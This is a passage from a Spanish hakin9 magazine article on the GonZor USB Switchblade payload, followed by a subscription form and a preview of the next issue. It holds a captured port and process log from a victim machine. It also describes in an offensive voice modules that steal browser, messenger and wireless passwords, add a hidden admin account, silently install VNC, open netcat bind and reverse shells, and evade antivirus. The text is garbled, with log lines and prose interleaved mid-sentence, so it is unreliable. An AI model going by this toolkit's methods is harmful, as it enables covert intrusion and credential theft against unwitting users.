TIME_WAIT 0<br />
TCP 127.0.0.1:30606 127.0.0.1:2286<br />
TIME_WAIT 0<br />
UDP 0.0.0.0:1027 *:*<br />
1304<br />
[spoolsv.exe]<br />
UDP 0.0.0.0:1035 *:*<br />
1080<br />
C:\WINDOWS\system32\mswsock.dll<br />
C:\WINDOWS\system32\RPCRT4.dll<br />
[svchost.exe]<br />
UDP 127.0.0.1:1900 *:*<br />
1136<br />
c:\windows\system32\WS2_32.dll<br />
c:\windows\system32\ssdpsrv.dll<br />
C:\WINDOWS\system32\ADVAPI32.dll<br />
C:\WINDOWS\system32\kernel32.dll<br />
[svchost.exe]<br />
UDP 192.168.1.201:5353 *:*<br />
1472<br />
[mDNSResponder.exe]<br />
----------------------------------------------------------<br />
+----------------------------------+<br />
+ [Port Scan] +<br />
+----------------------------------+<br />
Creating log file called G:\System\Logs\RAD-SRV-01\RAD-SRV-<br />
01_TEMP.log<br />
Processing local system's ports...<br />
TCP/UDP Port to Process Mappings<br />
35 mappings found<br />
PID Port Local IP State Remote IP:Port<br />
4 TCP 445 0.0.0.0 LISTENING 0.0.0.0:<br />
43026<br />
4 TCP 445 127.0.0.1 ESTABLISHED 127.0.0.1:<br />
1039<br />
4 TCP 1039 127.0.0.1 ESTABLISHED 127.0.0.1:445<br />
4 TCP 139 192.168.1.1 LISTENING 0.0.0.0:<br />
2144<br />
4 UDP 445 0.0.0.0 *:*<br />
4 UDP 137 192.168.1.1 *:*<br />
4 UDP 138 192.168.1.1 *:*<br />
556 TCP 1025 0.0.0.0 LISTENING 0.0.0.0:43045<br />
556 UDP 500 0.0.0.0 *:*<br />
556 UDP 4500 0.0.0.0 *:*<br />
740 TCP 135 0.0.0.0 LISTENING 0.0.0.0:<br />
10429<br />
740 TCP 135 192.168.1.1 ESTABLISHED<br />
192.168.1.1:1033<br />
948 UDP 1027 0.0.0.0 *:*<br />
1008 TCP 1026 0.0.0.0 LISTENING 0.0.0.0:<br />
59528<br />
1008 UDP 123 127.0.0.1 *:*<br />
1008 UDP 123 192.168.1.1 *:*<br />
1276 TCP 1035 192.168.1.1 ESTABLISHED<br />
66.249.93.104:80<br />
1476 TCP 1033 192.168.1.1 ESTABLISHED<br />
192.168.1.1:135<br />
78 www.<strong>hakin9</strong>.org/es<br />
1516 TCP 1812 0.0.0.0 LISTENING 0.0.0.0:<br />
2261<br />
1516 TCP 1813 0.0.0.0 LISTENING 0.0.0.0:<br />
61635<br />
1516 UDP 28000 0.0.0.0 *:*<br />
1516 UDP 28001 0.0.0.0 *:*<br />
1516 UDP 1645 192.168.1.1 *:*<br />
1516 UDP 1646 192.168.1.1 *:*<br />
1516 UDP 1812 192.168.1.1 *:*<br />
1516 UDP 1813 192.168.1.1 *:*<br />
1516 UDP 28007 192.168.1.1 *:*<br />
1828 TCP 5900 0.0.0.0 LISTENING 0.0.0.0:<br />
10296<br />
Port Statistics<br />
TCP mappings: 13<br />
UDP mappings: 22<br />
TCP ports in a LISTENING state: 8 = 61.54%<br />
TCP ports in a ESTABLISHED state: 5 = 38.46%<br />
Port and Module Information by Process<br />
Note: restrictions applied to some processes may<br />
prevent PortQry from accessing more information<br />
For best results run PortQry in the context of<br />
the local administrator<br />
======================================================<br />
Process ID: 4 (System)<br />
System Process<br />
PID Port Local IP State Remote IP:Port<br />
4 TCP 445 0.0.0.0 LISTENING 0.0.0.0:<br />
43026<br />
4 TCP 445 127.0.0.1 ESTABLISHED 127.0.0.1:1039<br />
4 TCP 1039 127.0.0.1 ESTABLISHED 127.0.0.1:445<br />
4 TCP 139 192.168.1.1 LISTENING 0.0.0.0:<br />
2144<br />
4 UDP 445 0.0.0.0 *:*<br />
4 UDP 137 192.168.1.1 *:*<br />
4 UDP 138 192.168.1.1 *:*<br />
======================================================<br />
Process ID: 1436<br />
Service Name: RemoteRegistry<br />
Display Name: Registro remoto<br />
Service Type: shares a process with other services<br />
======================================================<br />
Process ID: 1516 (radius.exe)<br />
Service Name: Steel-Belted Radius<br />
Display Name: Steel-Belted Radius<br />
Service Type: runs in its own process<br />
PID Port Local IP State Remote IP:Port<br />
1516 TCP 1812 0.0.0.0 LISTENING 0.0.0.0:2261<br />
1516 TCP 1813 0.0.0.0 LISTENING 0.0.0.0:<br />
61635<br />
1516 UDP 28000 0.0.0.0 *:*<br />
1516 UDP 28001 0.0.0.0 *:*<br />
1516 UDP 1645 192.168.1.1 *:*<br />
1516 UDP 1646 192.168.1.1 *:*<br />
1516 UDP 1812 192.168.1.1 *:*<br />
1516 UDP 1813 192.168.1.1 *:*<br />
1516 UDP 28000 192.168.1.1 *:*<br />
1516 UDP 28001 192.168.1.1 *:*
Referencias<br />
• Todas las distribuciones Switchblade por hak5.org.<br />
http://wiki.hak5.org/wiki/USB_Switchblade<br />
• La web de GonZor.<br />
http://www.users.on.net/~simmo_89/switchblade/about.html<br />
• Hak5 foros muy interesantes.<br />
http://forums.hak5.org/index.php/topic,6608.180.htm<br />
http://anvirtuel.googlepages.com/<br />
• USB Hacks Website<br />
http://www.usbhacks.com<br />
• U3 project home.<br />
http://www.u3.com<br />
• U3 central de software<br />
http://software.u3.com/softwarecentral.aspx<br />
• Alternativa MojoPac a U3 con versión libre y de pago<br />
http://www.mojopac.com<br />
cuando se tiene activada la<br />
función de entrar en el equipo<br />
sin introducir el password.<br />
• Cachedump<br />
Otro dump de cache de usuarios<br />
y contraseñas para do-<br />
Listado 1. Captura de log de GonZor switchblade<br />
(Continuación)<br />
1516 UDP 28002 192.168.1.1 *:*<br />
1516 UDP 28003 192.168.1.1 *:*<br />
1516 UDP 28004 192.168.1.1 *:*<br />
1516 UDP 28005 192.168.1.1 *:*<br />
1516 UDP 28006 192.168.1.1 *:*<br />
1516 UDP 28007 192.168.1.1 *:*<br />
======================================================<br />
Process ID: 1612 (uvnc_service.exe)<br />
Service Name: Uvnc_service<br />
Display Name: Uvnc_service<br />
======================================================<br />
Process ID: 1828 (winvnc.exe)<br />
Process doesn't appear to be a service<br />
PID Port Local IP State Remote IP:Port<br />
1828 TCP 5900 0.0.0.0 LISTENING 0.0.0.0:10296<br />
======================================================<br />
Process ID: 2700 (cmd.exe)<br />
Process doesn't appear to be a service<br />
======================================================<br />
Process ID: 3056 (LaunchPad.exe)<br />
Process doesn't appear to be a service<br />
======================================================<br />
Process ID: 3264 (winvnc.exe)<br />
Service Name: WinVNC<br />
Display Name: Domain Client Service<br />
======================================================<br />
Process ID: 1516 (radius.exe)<br />
Service Name: Steel-Belted Radius<br />
minios de Windows. Vuelca<br />
los diez últimos logins de ese<br />
equipo en el dominio.<br />
• Netstat<br />
El conocido netstat.exe que<br />
da las conexiones TCP y UDP<br />
www.<strong>hakin9</strong>.org/es<br />
Display Name: Steel-Belted Radius<br />
Service Type: runs in its own process<br />
USB Payload<br />
abiertas, activas y en escucha<br />
de la víctima. También es muy<br />
útil para un ataque planificado.<br />
• Port Scan<br />
Casi un netstat.exe pero<br />
utilizando la herramienta<br />
PortQryV2. El log es formateado<br />
de otra manera más<br />
cómoda.<br />
• Messenger password Dumper<br />
Funciona en versiones anteriores<br />
de Messenger, pero sin<br />
protección de contraseñas Live.<br />
Saca algunas contraseñas<br />
de Messenger.<br />
• IE History Viewer<br />
¿Qué páginas ha visitado<br />
este usuario? Porno, hacking,<br />
bancos... Muy práctico.<br />
• FireFox Password Stealer<br />
Otro ladrón de contraseñas de<br />
explorador de Internet, pero en<br />
este caso de Mozilla Firefox.<br />
PID Port Local IP State Remote IP:Port<br />
1516 TCP 1812 0.0.0.0 LISTENING 0.0.0.0:2261<br />
1516 TCP 1813 0.0.0.0 LISTENING 0.0.0.0:<br />
61635<br />
1516 UDP 28000 0.0.0.0 *:*<br />
1516 UDP 28001 0.0.0.0 *:*<br />
1516 UDP 1645 192.168.1.1 *:*<br />
1516 UDP 1646 192.168.1.1 *:*<br />
1516 UDP 1812 192.168.1.1 *:*<br />
1516 UDP 1813 192.168.1.1 *:*<br />
1516 UDP 28000 192.168.1.1 *:*<br />
1516 UDP 28001 192.168.1.1 *:*<br />
1516 UDP 28002 192.168.1.1 *:*<br />
1516 UDP 28003 192.168.1.1 *:*<br />
1516 UDP 28004 192.168.1.1 *:*<br />
1516 UDP 28005 192.168.1.1 *:*<br />
1516 UDP 28006 192.168.1.1 *:*<br />
1516 UDP 28007 192.168.1.1 *:*<br />
======================================================<br />
Process ID: 1612 (uvnc_service.exe)<br />
Service Name: Uvnc_service<br />
Display Name: Uvnc_service<br />
========= end of log file =========<br />
PortQry developed by Tim Rains<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
GonZors Payload [Time Finished: 27/09/2007 10:51:37,96]<br />
----------------------------------------------------------<br />
-------------------------------------------------------------------<br />
79
kit<br />
• Wireless Passwords<br />
Funciona al dedillo si se utiliza<br />
el Windows Wireless Zero<br />
Configuration Service (wzcs)<br />
que almacena los ESSID y<br />
las claves WEP/WPA de forma<br />
muy vulnerable.<br />
• Dialup Password Dump<br />
Cada vez son menos los que<br />
utilizan el módem, pero si lo<br />
hacen, este programa nos da<br />
las configuraciones de cuentas<br />
de marcado o dialup. Hace<br />
unos años hacía estragos.<br />
• Username adder<br />
Después de ejecutar esta<br />
herramienta (pwservice.exe)<br />
habremos creado un nuevo<br />
usuario y contraseña en este<br />
sistema, con lo que ya tenemos<br />
una gran puerta abierta en modo<br />
debug para programas que<br />
necesitan privilegios administrativos<br />
como el pwdump.<br />
• Editing Send.bat (and stunnel.conf)<br />
El Haksaw envía la información<br />
recabada mediante una cuenta<br />
de gmail al destino solicitado.<br />
Para conseguir que se haga<br />
de esa manera hay que configurar<br />
en el script las cuentas,<br />
direcciones IP y puertos.<br />
• Silent VNC installer (with external<br />
IP send)<br />
Este script instala la aplicación<br />
de control remoto VNC de<br />
modo invisible y sin el odiado<br />
logo en la barra de tareas en<br />
el puerto 5900 y 80 con el<br />
password yougothacked.<br />
• Reverse VNC Connection<br />
Es una conexión inversa de<br />
VNC hacia nuestro puerto<br />
tras Internet 5500. De esta<br />
manera saltamos la seguridad<br />
del router y de algunos<br />
cortafuegos. Se le añade un<br />
autoarranque de este proceso,<br />
para que cada vez que<br />
arranque la maquina infectada<br />
se nos conecte. Hay que<br />
especificar nuestra IP pública<br />
o la de un dummy.<br />
• USB HackSaw<br />
Este script instala el troyano<br />
HakSaw que nos envía la<br />
información de la victima<br />
hacia una dirección de email<br />
o hacia una página web. Según<br />
cuentan, ya que no lo he<br />
probado, instala un troyano<br />
en la maquina víctima que<br />
cada vez que se conecta un<br />
pendrive en ésta, se envía su<br />
información hacia una página<br />
web o email.<br />
• Internal IP Nmaper<br />
Muy buen script que hace un<br />
nmap de la red interna para<br />
hallar direcciones IP activas<br />
en esta red y enviárnoslas o<br />
grabarlas en el log.<br />
• Folding@Home Installer<br />
Es uno de esos proyectos<br />
de colaboración de computación<br />
con grupos de utilidad<br />
científica. Al unir la víctima al<br />
grupo de colaboradores, en<br />
los tiempos muertos, el equipo<br />
de la victima ayuda a una<br />
causa desinteresada de forma<br />
involuntaria. La colaboración<br />
se realiza en nombre del U3 _<br />
Zombie group.<br />
• Folder Popuper (to show finish)<br />
Es una utilidad, o más bien<br />
inutilidad que nos muestra el<br />
log, fichero txt, generado en<br />
todo este proceso abriendo<br />
una ventana en primer plano<br />
al terminar.<br />
• NetCat Bindshell<br />
El famoso troyano netcat<br />
que crea un shell oculto en<br />
el puerto 52323. Se oculta,<br />
como muchas herramientas<br />
anteriores usando nircmd.exe.<br />
• NetCat Reverse Shell<br />
El mismo netcat del proceso<br />
anterior pero forzando una conexión<br />
inversa hacia el equipo<br />
remoto para evitar cortafuegos<br />
y puertos cerrados en el<br />
router.<br />
• Truecrypt<br />
Este script se utiliza para ejecutar<br />
el payload desde un volumen<br />
encriptado para evitar<br />
ser detectado por el antivirus.<br />
El proceso consiste en desactivar<br />
la conexión a Internet,<br />
abrir el volumen encriptado,<br />
ejecutar el anulador de antivirus<br />
avkill, correr todo el batch<br />
80 www.<strong>hakin9</strong>.org/es<br />
del payload con todas las utilidades,<br />
desmontar el volumen<br />
y reconectar Internet. Es una<br />
manera muy eficaz de ocultar<br />
las herramientas dañinas a los<br />
antivirus.<br />
• Automated Backup and Restore<br />
Es un batch basado en<br />
rar.exe para que una vez<br />
correctamente configurado y<br />
funcionando podamos hacer<br />
una copia exacta del pendrive<br />
utilizando una clave de encriptación<br />
para evitar que el antivirus<br />
la detecte como dañina.<br />
Es muy útil, ya que el antivirus<br />
suele eliminar algunas de<br />
estas herramientas que tratamos<br />
aquí. Con el restore.bat<br />
podemos volver a recuperar<br />
nuestro payload en cualquier<br />
lugar donde estemos.<br />
• Orient the Switchblade towards a<br />
special computer<br />
Es una característica del script<br />
para dirigirlo hacia un equipo<br />
determinado y volverlo inocuo<br />
para cualquier otro, de esta<br />
forma vamos únicamente contra<br />
la victima decidida.<br />
• Antidote<br />
Es necesario si te infectas<br />
o infectas a una víctima de<br />
forma accidental. El antídoto<br />
es diferente para Windows<br />
XP Pro o Home. La principal<br />
diferencia entre los dos<br />
antídotos es la utilización<br />
del taskill en Pro y del tskill<br />
en Home. El taskill es mucho<br />
más potente y para procesos<br />
de una forma más eficiente.<br />
Realmente lo que desactiva<br />
es el NC (Netcat) y el servicio<br />
VNC.<br />
Captura de log de<br />
GonZor switchblade<br />
Incorporo una captura de un log<br />
de una víctima de GonZor con la<br />
información falsificada para no<br />
dejar pistas importantes. Es aterrador<br />
ver la cantidad de información<br />
recabada. Imaginarse que pasaría<br />
si me fuera por los cibercafés<br />
mal configurados introduciendo el<br />
payload.(Listado 1). l
Pedido de suscripción<br />
Por favor, rellena este cupón y mándalo por fax: 0048 22 244 24 59 o por correo: Software-Wydawnictwo Sp. z o. o.,<br />
Bokserska 1, 02-682 Varsovia, Polonia; e-mail: suscripcion@software.com.pl<br />
Nombre(s) ................................................................................................... Apellido(s) ..................................................................................................<br />
Dirección ..............................................................................................................................................................................................................................<br />
C.P. .............................................................................................................. Población ....................................................................................................<br />
Teléfono ..................................................................................................... Fax ...............................................................................................................<br />
Suscripción a partir del N o ...................................................................................................................................................................................................<br />
e-mail (para poder recibir la factura) ..................................................................................................................................................................................<br />
o Renovación automática de la suscripción<br />
Título<br />
Linux+DVD (2 DVD’s)<br />
Mensual con dos DVDs dedicado a Linux<br />
<strong>hakin9</strong> – ¿cómo defenderse? (1 CD)<br />
Mensual para las personas que se interesan por la seguridad<br />
de sistemas informáticos<br />
<strong>hakin9</strong> StarterKit-(1CD) + <strong>hakin9</strong> -¿cómo defenderse? (1CD)<br />
Linux+ StarterKit (1 DVD)<br />
Edición especial para usuarios principiantes<br />
<strong>hakin9</strong> StarterKit-(1CD)<br />
Edición especial para usuarios principientes<br />
número de<br />
ejemplares<br />
al año<br />
número de<br />
suscripciones<br />
a partir<br />
del número<br />
Precio<br />
12 69 €<br />
6 38 €<br />
4+6 60 €<br />
4 28 €<br />
4 26 €<br />
En total<br />
Realizo el pago con:<br />
□ tarjeta de crédito (EuroCard/MasterCard/Visa/American Express) n O CVC Code<br />
Válida hasta<br />
□ transferencia bancaria a BANCO SANTANDER CENTRAL HISPANO<br />
Número de la cuenta bancaria: 0049-1555-11-221-0160876<br />
IBAN: ES33 0049 1555 1122 1016 0876<br />
código SWIFT del banco (BIC): BSCHESMM Fecha y firma obligatorias:
Próximo número<br />
<strong>hakin9</strong> StarterKit 2/2008<br />
En el número siguiente,<br />
entre otros:<br />
VBScript<br />
Juan Manuel Bahamonde<br />
Un articulo sobre los viruses y gusanos (como I love you) escritos en lenguaje<br />
VBScript.<br />
Informe Nmap (Network Mapper)<br />
Juan Bidini<br />
Un informe sobre funcionamiento de herramienta disenada para exploracion<br />
y realización de auditorías en una red de seguridad en computadoras, pero<br />
frequentamente usada con fines delictivos.<br />
Implantación ITIL<br />
Manel Cantos<br />
El 80% de los incidentes de seguridad de una organización tienen su origen<br />
en aspectos internos,debido a errores humanos y debido a cambios incontrolados.<br />
ALTRAN y la Universitat Autonomade Barcelona son conscientes<br />
de ello y han comenzado a tratar la seguridad desde un punto de vista organizativo,<br />
mediante la aplicación de ITIL, lo que ha permitido controlar todos<br />
los procesos del Servei d’Informatica de la Universitat Autonoma de Barcelona<br />
disminuyendo así los riesgos intrínsecos a la tan necesaria implantación<br />
del cambio dentro de un departamento de tecnologías de la información.<br />
Correlación de eventos de Seguridad<br />
Esteban Maurin<br />
Cada Organización, de acuerdo a múltiples factores como lo son: recursos<br />
económicos, ámbito del negocio, cantidad de equipamiento computacional,<br />
características de la información que se maneja, entre otros, configura su<br />
Arquitectura básica de Seguridad basada físicamente en Cortafuegos y<br />
Detectores de Intrusos (IDSs). Sin embargo, para acciones de Alerta Temprana,<br />
neutralización y Reacción no sólo basta con la configuración descrita,<br />
sino que resulta necesario contar con un sistema de Monitoreo de Eventos<br />
de Seguridad, que permita tomar decisiones de una manera eficaz y eficiente.<br />
El artículo tiene como propósito fundamental el describir las ventajas<br />
del monitoreo de eventos de Seguridad Informática empezando con una<br />
breve aclaración de conceptos para luego esbozar la problemática actual, y<br />
finalmente dar a conocer las soluciones existentes en el mercado dentro de<br />
este ámbito.<br />
El número está a la venta desde principios de Abril de 2008.<br />
La redacción se reserva el derecho a cambiar el contenido de la revista.